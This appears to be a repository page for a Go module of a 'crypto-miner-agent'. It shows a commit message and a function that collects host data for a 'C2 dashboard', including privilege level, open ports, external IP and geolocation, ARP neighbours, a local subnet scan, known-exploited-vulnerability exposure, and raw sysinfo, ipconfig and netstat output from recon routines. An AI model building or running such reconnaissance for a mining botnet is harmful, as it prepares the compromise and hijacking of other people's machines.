Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Bug fixes: - SRV-B1 through B5: server config, router, server_info, syscheck corrections - BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3) - Frontend WS race condition and useVisibleInterval hook fixed - Drive-root path bug in PathForge resolved - Upload error handling improved Security: - PathForge path traversal guard added - Script injection escaping applied throughout Visual (DV-01 through DV-15): - Cyan design tokens and page headers standardised - Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css - SacredPageHeader deleted (replaced inline); sidebar version display fixed UX: - Emberwake request storm fixed (EmberwakePage.tsx) - Help blurbs UH-01, UH-02, UH-06 added - HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings Build: - vite.config.ts: webroot auto-sync on build - build_universal.go: universal build artifact cleanup - PROBLEMS.md tracking updated
109 lines
2.6 KiB
Go
109 lines
2.6 KiB
Go
package client
|
|
|
|
import (
|
|
"os"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
const syscheckRawMax = 12000
|
|
|
|
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
|
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
|
r := &FullSysCheckReport{
|
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
|
Platform: runtime.GOOS,
|
|
Arch: runtime.GOARCH,
|
|
OSVersion: deploy.HostOSVersion(),
|
|
WorkerName: cfg.WorkerName,
|
|
BuildID: cfg.BuildID,
|
|
AgentID: agentID,
|
|
Network: &SysCheckNetwork{},
|
|
Neighbors: &SysCheckNeighbors{},
|
|
}
|
|
|
|
if host, err := os.Hostname(); err == nil {
|
|
r.Hostname = host
|
|
}
|
|
|
|
if p := collectPosture(); p != nil {
|
|
r.Security = securityFromPosture(p)
|
|
if p.AgentElevated != nil {
|
|
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
|
|
}
|
|
}
|
|
r.Patch = collectPatchStatus()
|
|
r.ListenPorts = collectListenPorts()
|
|
r.Resources = collectResourcePressure()
|
|
|
|
if dns := probeDNS(); dns != nil {
|
|
r.Network.DNS = dns
|
|
}
|
|
r.Network.Interfaces = listNetInterfaces()
|
|
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
|
|
r.Network.PrimaryLocalIP = lip
|
|
}
|
|
extIP, src := fetchExternalIP()
|
|
r.Network.ExternalIP = extIP
|
|
r.Network.ExternalIPSource = src
|
|
if extIP != "" {
|
|
r.Network.Geo = fetchGeo(extIP)
|
|
}
|
|
|
|
arp := deploy.ArpNeighborIPs()
|
|
r.Neighbors.ArpHosts = arp
|
|
r.Neighbors.ArpCount = len(arp)
|
|
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
|
|
|
collectSysCheckPlatform(r)
|
|
|
|
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
|
|
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
|
if r.Environment == nil {
|
|
r.Environment = &SysCheckEnvironment{}
|
|
}
|
|
r.Environment.InstallDir = dir
|
|
}
|
|
|
|
r.RawSysinfo = truncateRaw(captureRawSysinfo())
|
|
r.RawIPConfig = truncateRaw(captureRawIPConfig())
|
|
r.RawNetstat = truncateRaw(captureRawNetstat())
|
|
|
|
return r
|
|
}
|
|
|
|
func truncateRaw(s string) string {
|
|
s = strings.TrimSpace(s)
|
|
if len(s) <= syscheckRawMax {
|
|
return s
|
|
}
|
|
return s[:syscheckRawMax] + "\n…[truncated]"
|
|
}
|
|
|
|
func captureRawSysinfo() string {
|
|
_, _, msg := platformReconStatic("sysinfo", "")
|
|
return msg
|
|
}
|
|
|
|
func captureRawIPConfig() string {
|
|
_, _, msg := platformReconStatic("ipconfig", "")
|
|
return msg
|
|
}
|
|
|
|
func captureRawNetstat() string {
|
|
_, _, msg := platformReconStatic("netstat", "")
|
|
return msg
|
|
}
|
|
|
|
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
|
|
func platformReconStatic(action, command string) (bool, bool, string) {
|
|
// Minimal stub client-free path: duplicate switch via temp
|
|
ac := &AgentClient{}
|
|
return ac.platformRecon(action, command)
|
|
}
|